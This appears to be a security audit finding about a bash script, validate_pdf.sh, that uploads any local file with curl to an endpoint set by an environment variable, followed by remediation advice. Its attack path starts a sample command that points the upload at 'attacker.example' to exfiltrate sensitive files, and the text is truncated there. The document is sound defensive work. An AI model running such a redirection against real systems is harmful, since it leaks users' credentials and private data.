T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/validate_pdf.sh:9
- Finding
- Unrestricted Local File Upload to an Environment-Controlled Endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/validate_pdf.sh`, lines 9-27 **Vulnerability Type**: Unrestricted file upload and insufficient destination validation **Risk Level**: Medium ### Vulnerable Code ```bash if [[ ! -f "$FILE_PATH" ]]; then echo "File not found: $FILE_PATH" >&2 exit 1 fi UA1_API_BASE="${UA1_API_BASE:-https://api.ua1.dev}" UA1_FORMAT="${UA1_FORMAT:-compact}" if [[ "$UA1_FORMAT" == "compact" ]]; then URL="$UA1_API_BASE/api/validate?format=compact" else URL="$UA1_API_BASE/api/validate" fi TMP_BODY="$(mktemp)" TMP_HEADERS="$(mktemp)" HTTP_CODE="$(curl -sS -D "$TMP_HEADERS" -o "$TMP_BODY" -w '%{http_code}' \ -X POST "$URL" \ -F "file=@${FILE_PATH}")" ``` ### Technical Analysis The script verifies only that the supplied path refers to an existing regular file. It does not verify that the input has a `.pdf` extension or begins with a valid PDF signature. Any readable regular file can therefore be submitted, including configuration files, credentials, private keys, or other sensitive local data. The upload destination is derived directly from the `UA1_API_BASE` environment variable without validating its scheme or host. A caller who controls the process environment can redirect uploads to an arbitrary HTTP or HTTPS server. Plain HTTP is also accepted, which can expose uploaded documents to interception or modification in transit. The file path itself is correctly quoted, so this finding is not a shell command-injection issue. The risk instead arises from the combination of unrestricted file selection and an unrestricted network destination. ### Attack Path 1. An attacker gains control over the environment or invocation parameters used by an automated workflow. 2. The attacker sets `UA1_API_BASE` to a server under their control, such as `https://attacker.example`. 3. The attacker supplies the path of a sensitive readable file instead of a PDF: ```bash UA1_API_BASE="https://attacker.example" \ b ...[truncated 807 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Require the input filename to use a `.pdf` extension, using a case-insensitive comparison where appropriate. 2. Verify that the file starts with the expected PDF magic bytes, such as `%PDF-`, before uploading it. 3. Consider rejecting symbolic links and resolving the canonical path if the script runs in a privileged or automated environment. 4. Restrict `UA1_API_BASE` to an explicit allowlist of trusted origins. 5. Parse and validate the URL, rejecting embedded credentials, unexpected ports, query manipulation, and non-HTTPS schemes. 6. Keep redirects disabled, or strictly constrain redirected destinations to the same trusted origin. 7. Document clearly that selected files are transferred to an external service and require appropriate authorization before uploading confidential documents. 8. If endpoint customization is required, use a separate explicit opt-in flag rather than implicitly trusting an inherited environment variable. ]]>